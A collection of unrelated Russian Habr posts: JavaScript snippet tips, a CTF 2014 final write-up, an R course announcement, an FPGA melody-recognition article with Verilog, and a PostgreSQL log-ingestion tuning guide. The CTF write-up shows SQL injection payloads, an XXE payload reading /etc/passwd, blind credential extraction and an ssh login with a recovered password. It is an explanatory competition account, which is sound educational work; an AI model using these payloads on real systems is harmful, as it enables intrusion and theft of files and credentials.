Если вы используете MobX для управления состоянием приложения, то вы, воспользовавшись парой строк кода, можете получить автоматически сгенерированные TS-типы. Если же вы, к тому же, пользуетесь и GraphQL, то вам стоит взглянуть на новый пакет — [MST-GQL](https://github.com/mobxjs/mst-gql), который генерирует дерево состояния из GQL-схемы.
Совместное использование этих инструментов убережёт вас от переписывания больших объёмов кода и поможет избежать типичных ошибок.
Другие решения, такие как [Prisma](https://www.prisma.io/), [Hasura](https://hasura.io/) и [AWS AppSync](https://aws.amazon.com/appsync/), тоже могут помочь избежать дублирования объявлений типов. У использования подобных инструментов, конечно, есть свои плюсы и минусы. В создаваемых нами проектах подобные средства используются не всегда, так как нам нужно развёртывать код на собственных серверах организаций.
Прибегайте всегда, когда это возможно, к средствам автоматического генерирования кода
-------------------------------------------------------------------------------------
Если взглянуть на код, который создают без использования вышеописанных средств для автоматического генерирования кода, то окажется, что программистам постоянно приходится писать одно и тоже. Главный совет, который я могу дать по этому поводу, заключается в том, что нужно создавать сниппеты для всего, чем вы часто пользуетесь. Если вы часто вводите команду `console.log` — создайте сниппет, вроде `cl`, который автоматически превращается в `console.log()`. Если вы этого не сделаете и попросите меня помочь вам с отладкой кода, меня это сильно расстроит.
Существует множество пакетов со сниппетами, но несложно и создавать собственные сниппеты. Например — с помощью [Snippet generator](https://snippet-generator.app/).
Вот код, который позволяет добавить некоторые из моих любимых сниппетов в VS Code:
```
{
"Export default": {
"scope": "javascript,typescript,javascriptreact,typescriptreact",
"prefix": "eid",
"body": [
"export { default } from './${TM_DIRECTORY/.*[\\/](.*)$$/$1/}'",
"$2"
],
"description": "Import and export default in a single line"
},
"Filename": {
"prefix": "fn",
"body": ["${TM_FILENAME_BASE}"],
"description": "Print filename"
},
"Import emotion styled": {
"prefix": "imes",
"body": ["import styled from '@emotion/styled'"],
"description": "Import Emotion js as styled"
},
"Import emotion css only": {
"prefix": "imec",
"body": ["import { css } from '@emotion/styled'"],
"description": "Import Emotion css only"
},
"Import emotion styled and css only": {
"prefix": "imesc",
"body": ["import styled, { css } from ''@emotion/styled'"],
"description": "Import Emotion js and css"
},
"Styled component": {
"prefix": "sc",
"body": ["const ${1} = styled.${2}`", " ${3}", "`"],
"description": "Import Emotion js and css"
},
"TypeScript React Function Component": {
"prefix": "rfc",
"body": [
"import React from 'react'",
"",
"interface ${1:ComponentName}Props {",
"}",
"",
"const ${1:ComponentName}: React.FC<${1:ComponentName}Props> = props => {",
" return (",
" ",
" ${1:ComponentName}",
" ",
" )",
"}",
"",
"export default ${1:ComponentName}",
""
],
"description": "TypeScript React Function Component"
}
}
```
Сэкономить время, помимо сниппетов, могут помочь генераторы кода. Их можно создавать самостоятельно. Мне для этого нравится использовать [plop](https://plopjs.com/).
В Angular есть собственные встроенные генераторы кода. С помощью инструментов командной строки можно создать новый компонент, состоящий из 4 файлов, в которых представлено всё то, что можно ожидать найти в компоненте. Жаль, что в React нет такой вот стандартной возможности, но нечто подобное можно создать и самостоятельно, используя plop. Если каждый новый создаваемый вами компонент должен быть представлен в виде папки, содержащей файл с кодом компонента, файл с тестом и файл Storybook, генератор поможет создать всё это одной командой. Это во многих случаях значительно облегчает жизнь разработчика. Например, при добавлении новой возможности на сервер достаточно выполнить одну команду в командной строке. После этого автоматически будут созданы файлы сущности, сервисов и распознавателей, содержащие все необходимые базовые конструкции.
Ещё одна сильная сторона генераторов кода заключается в том, что они способствуют единообразию в командной разработке. Если все используют один и тот же plop-генератор, то код у всех будет получаться весьма однородным.
Автоматическое форматирование кода
----------------------------------
Форматирование кода — простая задача, но её, к сожалению, не всегда решают правильно. Не тратьте время, вручную выравнивая код или вставляя в него точки с запятой. Используйте [Prettier](https://github.com/azz/pretty-quick) для автоматического форматирования кода при выполнении коммитов.
Итоги
-----
В этом материале я рассказал вам о некоторых вещах, о которых мы узнали за годы работы, за годы проб и ошибок. Существует множество подходов к структурированию кодовой базы проектов. Но среди них нет такого, который можно назвать единственно правильным.
Самое главное, что я хотел до вас донести, заключается в том, что программисту стоит стремиться к простоте организации проектов, к их однородности, к использованию понятной структуры, с которой легко работать. Это упрощает командную разработку проектов.
**Уважаемые читатели!** Что вы думаете об идеях, касающихся разработки фулстек-приложений на JavaScript, изложенных в этом материале?
[](https://ruvds.com/ru-rub/#order)
[](https://ruvds.com/ru-rub/news/read/104) | https://habr.com/ru/post/456340/ | null | ru | null |
# No cON Name CTF 2014 Final
С 30 октября по 1 ноября в Барселоне проходила международная конференция по информационной безопасности *No cON Name 2014*, в рамках которой уже второй раз проводился финал соревнований «*Capture The Flag*». Команда университета Иннополис BalalaikaCr3w приняла участие в этом соревновании и заняла первое место. Под катом наш рассказ о том, как это было, несколько примеров заданий и благодарности тем, кто нам в этом помог.
*CTF-зона во время финала*
### Что такое CTF
Для тех, кто не знает, что такое соревнования «*Capture The Flag*». Это своеобразный аналог соревнований по программированию, только здесь чаще всего приходится не писать свой код, а эксплуатировать ошибки в чужом. Задания имитируют уязвимости, встречающиеся в реальных программах, например, переполнение буфера, «самодельную» криптографию, неэкранированную вставку текста в SQL-запросе, или требуют действий схожих с теми, что применяются при расследовании компьютерных инцидентов: анализ логов, поиск удалённых файлов и скрытых данных. Результатом правильно выполненного задания является текстовая строка — *флаг*. Полученные флаги сдаются организаторам соревнования для зачисления очков команде.
Большинство подобных соревнований проходят онлайн и имеют свободную регистрацию. Наиболее крупные из них также имеют финальный тур, где несколько команд (около 10), занявших верхние строчки в онлайн туре, собираются на площадке организаторов, чтобы в равных условиях (независимо от часового пояса) сразиться друг с другом за первое место.
### Немного истории: «No cON Name CTF 2013»
В прошлом году *No cON Name CTF* был организован совместно с Facebook. Несмотря на довольно странный отборочный тур, который состоял всего из трех заданий, финал оказался интересным и достойным внимания. Формат финала прошлого года был несколько не типичен для хакерских CTF соревнований: были задания, за решение каждого из которых единовременно давалось некоторое количество очков, а также были нейтральные сервисы, расположенные на серверах организаторов. Команде при эксплуатации уязвимости в одном из сервисов необходимо было записать своё имя в определенный файл на сервере. Раз в заданный промежуток времени проверяющая программа организаторов брала имя команды из данного файла и начисляла ей определенное количество очков.
*Команда BalalaikaCr3w заняла в прошлом году 3 место*
### Отборочный тур “No cON Name 2014”
В этом году отборочный этап длился 24 часа и состоял из 10 заданий, 9 из которых мы решили в первые часы игры. Последнее же задание под названием *Explicit* нам удалось решить лишь за 5-6 часов до конца CTF. Разборы некоторых заданий отборочного этапа можно прочитать [в нашем блоге](http://ctfcrew.org/event/23).
### Финал “No cON Name 2014”
Финал, как вы уже поняли, проходил в Барселоне, на территории университета [Ramón Llull University](http://www.url.edu/en). Условия: 8 часов, 16 заданий. Цена задания от 150 до 400 очков. Одно из заданий — общий интерактивный сервис, «захват» которого приносит команде 50 очков каждые 10 минут.
Далее мы опишем пару заданий и наш подход к их решению. Этот текст задумывался не столько для фанатов ИБ, сколько для людей, которым интересно, чем же занимаются на подобных соревнованиях, поэтому некоторые моменты мы упростили, пожертвовав детальностью. Для подробных разборов существуют writeup'ы в блогах команд.
### Задание HIDDENtation (300 очков)
Задание: "*Dig deep into the file and find the flag*", дан файл размером около 95 Мб.
Один из самых приятных моментов на любом CTF — это изучение чего-то нового. На этот раз нам было необходимо разобраться в формате шифрования дисков LUKS. О том, что прилагаемый файл является именно таким виртуальным зашифрованным диском, мы быстро выясняем с помощью hex-редактора и поиска в интернете строки “**LUKs**” (**4C 55 4B 73**).
Штатная утилита *cryptsetup* для этого формата дисков отказалась работать с файлом из задания, выдав сообщение "*Device hiddentation is not a valid LUKS device*". Из описания формата мы узнаём, что правильная сигнатура в начале файла должна быть “**LUKS**” (**4C 55 4B 53**). Исправляем, теперь файл открывается, но у нас нет ключа от зашифрованного диска.
Почитав документацию, выясняем, что диск шифруется *мастер-ключом*, но сам этот ключ не отдаётся пользователю, а хранится в нескольких копиях в зашифрованном виде в заголовке диска. Для расшифровки каждой копии мастер-ключа используется свой пользовательский ключ. Таких пользовательских ключей может быть вплоть до восьми, по количеству специально отведённых для этого ячеек в заголовке диска.
В нашем случае утилита *cryptsetup* уверяла, что все восемь ячеек пусты. Но внимательно посмотрев в hex-редакторе на то место, где расположены ячейки, можно увидеть, что в одной из них есть какие-то данные:
Первые четыре байта записи со значением **0x0000DEAD** показывают, что она неактивна. Заменив их на **0x00AC71F3** активируем эту запись. Теперь нужно найти пользовательский ключ для этой ячейки.
Сразу после заголовка, в том месте, где обычно идут нулевые байты, добавленные для выравнивания, содержится текст с какими-то спецсимволами:
"*Try \x19 most common passwd in \x07\xDD*", что можно интерпретировать как: "*Попробуйте 25 самых популярных паролей 2013-го года*". Однако, ни один из 25 самых популярных паролей не позволил открыть контейнер.
Следующий шаг, к сожалению, оказался игрой в “*угадайку*” (самая нелюбимая категория заданий для всех CTF команд). Нам повезло, что утилита *cryptsetup* создавала такие же контейнеры, как и контейнеры в задании. Создав контейнер самостоятельно, мы заметили, что запись для последнего ключа в поле “*key material offset*” содержит значение **0x0708**, однако в файле из задания оно равно **0x0608**:
Замена на правильное значение позволяет открыть контейнер с паролем "*shadow*".
Но это еще не все решение. В расшифрованном контейнере содержался образ диска с тремя разделами. Файлы-подсказки на первых двух разделах говорили о том, что нужно искать на третьем. Третий же раздел не содержал вообще никаких файлов. Как нам потом пояснили организаторы, по некоторому смещению там содержался NTFS раздел, на котором был файл. Однако мы воспользовались первым правилом CTF: "*strings everywhere*". Среди кучи строк из файла обнаруживаем одну очень интересную:
```
rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r
```
В результате после применения rot13 мы получаем флаг:
**NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e**.
### Задание demDROID (400 очков)
Задание: дано приложение для Android в виде .apk-файла.
На хабре немало статей, как декомплировать такие файлы, так что останавливаться на этом не будем. После декомпиляции мы выясняем, что приложение подключается к серверу *10.210.6.1* в игровой подсети и отправляет следующий HTTP-запрос:
```
POST / HTTP/1.0
Content-Type: text/xml
User-Agent: denDROID 1.0
Host: 10.210.6.1
{$username}{$password}
```
В этот момент у нас появилось два варианта эксплуатации:
1. SQL-инъекция. Сравним два запроса (без заголовков):
Обычный запрос:
```
balalaikaasd
```
Ответ:
```
User balalaika is not found!
```
Запрос с инъекцией в логине:
```
q' OR 'x'='xasd
```
Ответ:
```
Invalid password for user q' OR 'x'='x!
```
2. Атака XXE (XML eXternal Entity)
Запрос:
```
]>q' OR 1=1 /\*&xxe&xxe
```
Ответ:
```
Invalid password for user q' OR 1=1 /\*root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
# lp:x:7:7:lp:/var/spool/lpd:/bin/sh
# mail:x:8:8:mail:/var/mail:/bin/sh
# news:x:9:9:news:/var/spool/news:/bin/sh
# uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:102:103::/var/run/dbus:/bin/false
ch6:x:1000:1000::/home/ch6:/bin/sh
!
```
Пробуем перебрать с помошью XXE различные варианты имени файла с флагом (*flag*, *flag.txt*, */flag*, */flag.txt* и т.д.), а также различные конфигурационные файлы (например, */etc/nginx/nginx.conf*), но не находим ничего интересного.
Возвращаемся к эксплуатации SQL-инъекции. Используя функцию *SUBSTR()*, мы посимвольно подбираем логин и пароль, как оказалось, единственного пользователя в базе. Пробуем залогиниться под ним:
```
l3wlzHunt3rmw4h4h4
```
Ответ сервера:
```
Welcome, l3wlzHunt3r!
Good job! But your flag is in another castle!
```
*Ох уж эти тролли*
Увы, это не ответ. Иногда задания на CTF устроены таким образом, что правильный на первый взгляд способ решения приводит к ложному результату. *Honeypot*, так сказать.
В базе больше ничего не было, поэтому пришлось вернуться к XXE. Посмотрев файл *.bash\_history* пользователя *ch6*, мы увидели некоторые подозрительные строки:
```
...
tjG86fKwJ2yZ
...
sudo vim /etc/hosts
ping Wopr
sudo vim /etc/hosts
ping Osiris
nc Osiris 1135
nc Osiris 11235
curl Osiris 11235
curl Osiris:11235
...
```
Оказалось, что tjG86fKwJ2yZ — это пароль пользователя ch6. Далее дело за малым:
```
ssh ch6@10.210.6.1
tjG86fKwJ2yZ
$ curl Osiris:11235
NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f
```
Флаг: **NcN\_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f**
Хочется отметить, что это не очень обдуманный ход со стороны организаторов, потому что права были выставлены таким образом, что доступ по ssh позволял почистить *.bash\_history*, добавить в *authorized\_keys* свои открытые ключи, а также полностью запретить доступ другим командам.
Еще примечательно, что хост Osiris (адрес которого можно было узнать через XXE из файла */etc/hosts*) не был доступен напрямую с компьютеров команд. Обратится к нему можно было только с сервера 10.210.6.1.
Тем не менее, задание оказалось непростым и в общем-то интересным, потому что потребовались навыки сразу в двух категориях (reverse + web).
### Хронология
Мы практически с первых минут взяли инициативу в свои руки, сделав *first blood*:
Первым решенным нами заданием была достаточно простая стеганография под названием [WireTap](http://ctfcrew.org/writeup/91).
К середине дня хозяева турнира, опытнейшая испанская команда int3pids, открыли счет своим очкам, захватив нейтральный сервис *dragons*. Интрига нарастала, поскольку за захваченный сервис int3pids получали по 50 очков каждые 10 минут, при этом параллельно решая другие задания и получая очки за них. Пару часов спустя в борьбу вступила украинская команда dcua, решив задание под названием *vodka*, но претендовать на победу им было уже сложно: наша команда BalalaikaCr3w и команда хозяев int3pids были уже слишком далеко впереди.
В итоге нам удалось продержаться на верхней строчке скорборда до самого конца соревнований:
*Команды с нулевым счетом не отображались на скорборде*
Стоит отметить, что *NcN CTF* в Барселоне проходит только второй год и является не таким популярным и известным, как некоторые другие CTF-соревнования. Однако качество проведения мероприятия растет. Хочется пожелать ассоциации *[No cON Name](http://noconname.org/)* не останавливаться на достигнутом, а продолжать двигаться дальше, готовить еще больше интересных заданий, привлекать больше спонсоров и повышать уровень и престиж своей конференции и CTF.
### Благодарности
Команда **BalalaikaCr3w** выражает благодарность [Университету Иннополис](http://university.innopolis.ru/) за поддержку и организацию нашей поездки на финал. Иннополис — новый вуз с фокусом на ИТ и робототехнику. Со следующего года планируется открытие магистратуры *Cyber Security*, и они активно привлекают молодых профессионалов в области информационной безопасности.
Также наша команда благодарна компаниям [«Актив»](http://aktiv-company.ru/) и [«ABBYY Language Services»](http://abbyy-ls.ru/) за посильную поддержку своих сотрудников для участия в данном мероприятии.
### Ссылки
Разборы заданий с финала *No cON Name CTF 2014* и других соревнований читайте в нашем блоге: [ctfcrew.org](http://ctfcrew.org/)
Информация о предстоящих CTF и вообще обо всех событиях в CTF мире на главном ресурсе всех команд: [ctftime.org](https://ctftime.org/). | https://habr.com/ru/post/245011/ | null | ru | null |
# Циклы и функционалы в языке R (бесплатный видео курс)
Друзья, рад представить вам свой новый курс "Циклы и функционалы в R". Курс и все сопутствующие материалы к нему распространяются бесплатно, и являются общедоступными.
Содержание
----------
*Если вы интересуетесь анализом данных возможно вам будут полезны мои*[*telegram*](https://t.me/R4marketing)*и*[*youtube*](https://www.youtube.com/R4marketing/?sub_confirmation=1)*каналы. Большая часть контента которых посвящены языку R.*
1. [О курсе](#about)
2. [Для кого этот курс](#users)
3. [Программа курса](#programm)
4. [Ссылка на курс](#link)
### О курсе
Если вы недавно начали изучать язык R, то наверняка неоднократно слышали от более опытных коллег фразу “В R не принято использовать циклы.” Связано это негласное правило с тем, что большинство функций в языке R поддерживают векторизацию, т.е. они уже под капотом имеют встроенный механизм итерирования. Даже если нужная вам функция не поддерживает векторизацию, вы всегда можете использовать функциональный стиль программирования.
Циклы, и в целом итерационные конструкции, позволяют избегать излишнего дублирования кода. Основная проблема новичков, которые только начинают учить язык R заключаются в том, что в неумелых руках циклы в R используются не эффективно, и зачастую применяются там, где они вообще не нужны. Цель этого курса научить вас эффективно использовать итерационные конструкции в языке R, и познакомить с функциональным стилем программирования, и многопоточным режимом выполнения скриптов.
Этот курс поможет вам погрузиться в тему итерационных конструкций языка R и разобраться во всём их многообразии. Первая лекция даст вам вводную информацию о базовых циклах языка R: `for`, `while`, `repeate`. Второй урок прольёт свет на обработку ошибок, с которыми могут столкнуться написанные вами циклы. В третьем уроке мы познакомимся с функциональным стилем программирования и семейством функций `apply()`. Четвёртый урок продолжает тему функционального стиля программирования, в нём мы рассмотрим возможности пакета `purrr`, который входит в ядро библиотеки `tidyverse` и предоставляет вам более продвинутые функционалы по сравнению с семейством функций `apply()`. Следующим шагом мы разберёмся с тем, как перехватывать и обрабатывать ошибки при использовании функционалов. Затем мы узнаем как распараллеливать выполнение итераций ваших циклов и функционалов с помощью многопоточного программирования, изучим конструкцию `foreach`, пакеты `pbapply` и `furrr`. Завершающий урок будет продолжением темы параллельного программирования в R, в котором мы разберём более низкоуровневый интерфейс многопоточности предоставляемый пакетом `future`.
### Для кого этот курс
Особых требований к уровню подготовки для прохождения данного курса нет, но всё-таки в качестве первого курса для знакомства с языком R я бы его не рекомендовал. Приступать к прохождению курса “Циклы и функционалы в R” я советую тем, кто уже имеет базовые навыки работы в R. Т.е. изначально я рекомендую вам пройти курс [“Язык R для пользователей Excel”](https://selesnow.github.io/r4excel_users/), и потом приступать к прохождению данного курса.
### Программа курса
1. Циклы `for`, `while` и `repeat`
2. Обработка ошибок: конструкции `try()` и `tryCatch()`
3. Функции семейства `apply`
4. Итерирование с помощью функций пакета `purrr`
5. Обработка ошибок: функции `safely()`, `possibly()`, `quietly()`
6. Введение в многопоточность, пакеты: `foreach`, `doFuture`, `pbapply`, `furrr`
7. Реализация многопоточности с помощью пакета `future`
#### Ссылка на курс
Курс и все сопутствующие материалы доступны по [ссылке](https://selesnow.github.io/iterations_in_r).
Успехов в обучении! | https://habr.com/ru/post/651979/ | null | ru | null |
# Хор невольниц из оперы «Князь Игорь» разпознает FPGA плата. Без микропроцессора, DSP и FFT. Вообще без программирования
Сегодня молодой ученый из МФТИ Виктор Прутьянов отлаживал с преподавательницей флейты [Марией Беличенко](https://mariaflute.com/) электронную схему, которая распознает мелодии. Упражнения по проектированию таких схем будут выполнять в среду старшие школьники и младшие студенты на проходящей в Сколково "[Школе синтеза цифровых схем](http://www.chipexpo.ru/shkola-sinteza-cifrovyh-shem-na-verilog)".
Это не программирование - на плате, которая видна на видео, вообще нет микропроцессора который мог бы выполнять программу. На ней стоит микросхема ПЛИС, матрица реконфигурируемых логических элементов. ПЛИС используют для обучения, например в курсе 6.111 от Массачуссетского Технологического Института, который выпускает будущих разработчиков чипов в смартфонах, автомобильной и космической электронике. Виктор Прутьянов вместе с студентов Сколтеха Владиславом Молодцовым Поставили такой курс в МФТИ.
Если вы хотите познакомиться с математикой музыки, или методами проектирования электроники на уровне регистровых передач (Register Transfer Level - RTL) с помощью синтеза схем, описанных на яхыке описания аппаратуры Verilog, вы можете бесплатно присоединиться к занятиям [онлайн](https://eventswallet.com/ru/events/282/) (офлайн места в Сколково уже все разобраны к сожалению).
Если вы при этом еще и пройдете роснановский онлайн-курс "[Как работают создатели умных наночипов](https://stemford.org/education/courses/details/6410690722451344036)", то вам пришлют вот такую плату как в видео бесплатно (это предложение касается только школьников, преподавателей и руководителей кружков). Правда в текущий момент платы тоже все разобрали, но через некоторое время прийдет дозаказ.
На платы для школы пожертвовали сооснователь Eltechs Максим Маслов, Наносемантика (компания Станислав Ашманов, Сергей Рыжков (основатель интернет провайдера RiNet и я. Я считаю, что это самый эффективный вид благотворительности который бывает, так как из современных школьников можно таким образом найти супермикроархитектов, примерно таким же образом, как выявляют будущих олимпийских чемпионов по фигурному катанию, и превратить Россию через 10-20 лет в великую микроэлектронную державу, как это произошло с Японией, Южной Кореей, сейчас происходит с Китаем итд.
Сконфигурируемая схема не использует никакого Фурье-преобразования - только простой zero-crossing, подсчет количества тактов 50MHz генератора на плате между пересечением главной синусоидой звукового сигнала нулевого значения. Точнее не нулевого значения, а некоторого порога. Если использовать нулевой уровень, то схеме будет мерещится много нот в тишине.
Далее мы используем простой конечный автомат, Finite State Machine - FSM. Точнее не одну FSM, а несколько параллельно работающих FSM-ов, распознающих сразу несколько мелодий.
→ [Вот код](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/day_2/piswords/lab_5_mic/top.v)
Вот например как выглядит распознавание песни Yesterday группы "Битлз" на верилоге самым прямолинейным образом. Можете написать в комментариях, как бы вы это сделали по другому. Тут большое пространство для решений - от школьных до hi-end:
```
// 3. Yesterday by Beatles
always @ (posedge clk or posedge reset)
if (reset)
states [5] <= 0;
else
case (states [5])
0: if ( t_note == G ) states [5] <= 1;
1: if ( t_note == F ) states [5] <= 2;
2: if ( t_note == A ) states [5] <= 3;
3: if ( t_note == B ) states [5] <= 4;
4: if ( t_note == Cs ) states [5] <= 5;
5: if ( t_note == D ) states [5] <= 6;
6: if ( t_note == E ) states [5] <= 7;
7: if ( t_note == F ) states [5] <= 8;
8: if ( t_note == E ) states [5] <= 9;
9: if ( t_note == D ) states [5] <= 10;
10: if ( t_note == C ) states [5] <= 11;
11: if ( t_note == Bf ) states [5] <= 12;
12: if ( t_note == A ) states [5] <= 13;
13: if ( t_note == G ) states [5] <= 14;
14: if ( t_note == Bf ) states [5] <= recognized;
endcase
```
Отладка выполнялась в студии [Филипповский 13](https://youtube.com/channel/UC6gTD-qH296EuP3mrmqUUuw) Евразийского коммуникационного центра, ЕКЦ.
Инструкции как присоединиться онлайн и как получить плату - в посте на Хабре [Проектировщики RISC-V из Yadro покажут школьникам как проектировать процессоры](https://habr.com/ru/post/576622/). | https://habr.com/ru/post/577552/ | null | ru | null |
# Телепортация тонн данных в PostgreSQL
Сегодня я поделюсь некоторыми полезными архитектурными решениями, которые возникли в процессе развития нашего **инструмента массового анализа производительности серверов PostgeSQL**, и которые помогают нам сейчас «умещать» полноценный мониторинг и анализ более тысячи хостов в то же «железо», которого сначала едва хватало для одной сотни.
Intro
-----
Напомню некоторые вводные:
* мы строим сервис, который получает информацию из логов серверов PostgreSQL
* собирая логи, мы хотим что-то с ними делать (парсить, анализировать, запрашивать дополнительную информацию) в режиме онлайн
* все собранное и «наанализированное» надо куда-то сохранить
Именно про последний пункт — как все это можно **доставить в PostgreSQL-хранилище**, и поговорим. В нашем случае таких данных кратно больше, чем исходных — статистика нагрузки в разрезе конкретного приложения и шаблона плана, потребление ресурсов и [вычисление производных проблем](https://habr.com/ru/post/492694/) с точностью до отдельного узла плана, мониторинг блокировок и многое другое.
> Более полно о принципах работы сервиса можно посмотреть в [видео доклада](https://youtu.be/5XKbFb-l5Do) и прочитать в статье [«Массовая оптимизация запросов PostgreSQL»](https://habr.com/ru/post/487380/).
push vs pull
------------
Существует две основные модели получения логов или каких-то других постоянно приходящих метрик:
* **push** — на сервисе множество равноправных приемников, на наблюдаемых серверах — некий локальный агент, периодически сбрасывающий накопленную информацию в сервис
* **pull** — на сервисе каждый процесс/поток/корутина/… обрабатывает информацию только от одного «своего» источника, получение данных с которого инициирует сам
У каждой из этих моделей есть положительные и отрицательные стороны.
#### push
Инициатором взаимодействия выступает наблюдаемый узел:
… выгоден, если:
* у вас **очень много источников** (сотни тысяч)
* нагрузка на них не сильно разнится между собой и **не превосходит ~1rps**
* какая-то сложная **обработка не нужна**
[](https://sbis.ru/ofd)
Пример: приемник [оператора ОФД](https://sbis.ru/ofd), получающий чеки от каждой клиентской кассы.
… вызывает проблемы:
* **блокировки/deadlock** при попытках записи словарей/аналитики/агрегатов в разрезе объекта мониторинга из разных потоков
* **худшая утилизация кэша** каждого процесса БЛ/подключения к БД — например, одно и то же подключение к базе должно сначала написать в одну таблицу или сегмент индекса, и сразу же — в другую
* **необходим специальный агент**, размещаемый на каждом источнике, что увеличивает нагрузку на него
* большие **издержки при сетевом взаимодействии** — заголовками приходится «обвязывать» отправку каждого пакета, а не всего соединения с источником в целом
#### pull
Инициатором выступает конкретный хост/процесс/поток коллектора, который «привязывает» узел к себе и самостоятельно извлекает данные из «цели»:
… выгоден, если:
* у вас **немного источников** (сотни-тысячи)
* нагрузка от них есть почти всегда, иногда **доходит до 1Krps**
* требуется сложная **обработка с сегментацией по источнику**
[](https://sbis.ru/tenders)
Пример: [загрузчик/анализатор торгов](https://sbis.ru/tenders) в разрезе каждой торговой площадки.
… вызывает проблемы:
* **ограничение ресурсов на обработку** одного источника одним процессом (ядром CPU), поскольку ее никак не «размазать» по двум получателям
* **необходим координатор**, динамически перераспределяющий нагрузку от источников по существующим процессам/потокам/ресурсам
Поскольку наша модель нагрузки при мониторинге PostgreSQL явно тяготела к pull-алгоритму, а ресурсов одного процесса и ядра современного CPU нам вполне достаточно на один источник, мы остановились именно на нем.
Тянем-потянем логи
------------------
Наше общение с сервером предусматривало очень **много сетевых операций и работы со слабоформатированными текстовыми строками**, поэтому в качестве ядра коллектора идеально зашел JavaScript в его серверной инкарнации в виде [Node.js](https://nodejs.org/en/).
Самым простым решением для получения данных из лога сервера оказалось «зеркалирование» всего лог-файла в консоль с помощью простой linux-команды `**tail -F**` . Только консоль у нас не простая, а виртуальная — внутри натянутого **по протоколу SSH** защищенного соединения с сервером.
Поэтому, сидя на второй стороне SSH-коннекта, коллектор получает «на вход» полную копию всего лог-трафика. А если надо — дозапрашивает у сервера расширенную системную информацию о текущем состоянии дел.
#### Почему не syslog
Основных причин две:
1. `syslog` работает по push-модели, поэтому **невозможно оперативно управлять нагрузкой** обработки генерируемого им потока в точке приема. То есть если какая-то пара хостов внезапно начала «сыпать» тысячами планов медленных запросов, то развести их обработку по разным узлам крайне сложно.
Под обработкой тут подразумевается не столько «тупой» прием/парсинг лога, сколько разбор планов и [вычисление реальной ресурсоемкости каждого из узлов](https://youtu.be/jHqaLp040rY?t=240).
2. При мониторинге PostgreSQL, в любом случае, возникает периодическая **необходимость оперативного обращения к конкретной БД** для получения «слепка» блокировок как только информация о них возникла в логе и расширенной информации об участвующих объектах (relation/page/tuple/...).
> Подробнее о решении этой задачи можно прочитать в статье [«DBA: в погоне за пролетающими блокировками»](https://habr.com/ru/post/503680/).
Настройка базы-приемника
------------------------
В принципе, в качестве СУБД для хранения разобранных из лога данных можно было бы использовать и другие решения, но объем поступающей информации в **150-200GB/сутки** оставляет не слишком большое поле для маневра. Поэтому в качестве хранилища мы выбрали тоже PostgreSQL.
*— PostgreSQL для хранения логов? Seriously?
— Во-первых, там далеко не только и не столько логи, сколько [различные аналитические представления](https://youtu.be/5XKbFb-l5Do?t=2252). Во-вторых, «вы просто не умеете их готовить!» :)*
#### Настройки сервера
Этот момент субъективен и сильно зависит от вашего «железа», но мы для себя вынесли следующие принципы для настройки хоста PostgreSQL под активную запись.
**Настройки файловой системы**
Наиболее сильно влияющий на производительность записи момент — [не]правильное монтирование раздела данных. Мы выбрали следующие правила:
* каталог **[PGDATA](https://postgrespro.ru/docs/postgresql/12/storage-file-layout)** монтируется (если речь идет о ext4) с параметрами `noatime,nodiratime,barrier=0,errors=remount-ro,data=writeback,nobh`
* каталог **PGDATA/pg\_stat\_tmp** выносится на `tmpfs`
* каталог **PGDATA/pg\_wal** выносится на другой носитель, если это разумно
см. [PostgreSQL File System Tuning](https://kb.techtaco.org/linux/postgresql/postgresql_file_system_tuning/)
**Выбор оптимального I/O scheduler**
По умолчанию, у многих дистрибутивов в качестве планировщика ввода-вывода выбран `cfq`, заточенный под «десктопное» использование, в RedHat и CentOS — `noop`. Но для нас полезнее оказался `**deadline**`.
см. [PostgreSQL vs. I/O schedulers (cfq, noop and deadline)](https://blog.pgaddict.com/posts/postgresql-io-schedulers-cfq-noop-deadline)
**Уменьшение размера «грязного» кэша**
Параметр `**vm.dirty\_background\_bytes**` задает размер кэша в байтах, при достижении которого, система начинает фоновый процесс его сброса на диск. Есть аналогичный, но **взаимоисключающий** параметр `vm.dirty_background_ratio` — он задает это же значение в процентах от общего объема памяти — по умолчанию, задан именно он, а не "...bytes".
На большинстве дистрибутивов он равен 10%, в CentOS — 5%. Это значит, что при общем объеме памяти на сервере в 16GB, система может попытаться **записать на диск разово более 850MB** — в результате возникает пиковая нагрузка по IOps.
Экспериментальным путем уменьшаем, пока не начнут сглаживаться пики записи. По опыту, чтобы не образовывалось пиков, размер должен быть меньше максимальной пропускной способности носителя (в IOps), умноженной на размер страницы памяти. То есть, например, для 7K IOps (~7000 x 4096) — около 28MB.
см. [Настройка параметров ядра Linux для оптимизации PostgreSQL](https://habr.com/ru/post/458860/)
**Настройки в postgresql.conf**
Какие параметры стоит посмотреть-покрутить для ускорения записи. Тут все сугубо индивидуально, поэтому приведу только некоторые соображения на тему:
* `[**shared\_buffers**](https://postgrespro.ru/docs/postgresql/12/runtime-config-resource#GUC-SHARED-BUFFERS)` — стоит сделать поменьше, так как при таргетированной записи особо пересекающихся «общих» данных у процессов не возникает
* `[**synchronous\_commit**](https://postgrespro.ru/docs/postgresql/12/runtime-config-wal#GUC-SYNCHRONOUS-COMMIT) = off` — можете выключить ожидание записи коммита всегда, если доверяете батарейке своего RAID-контроллера
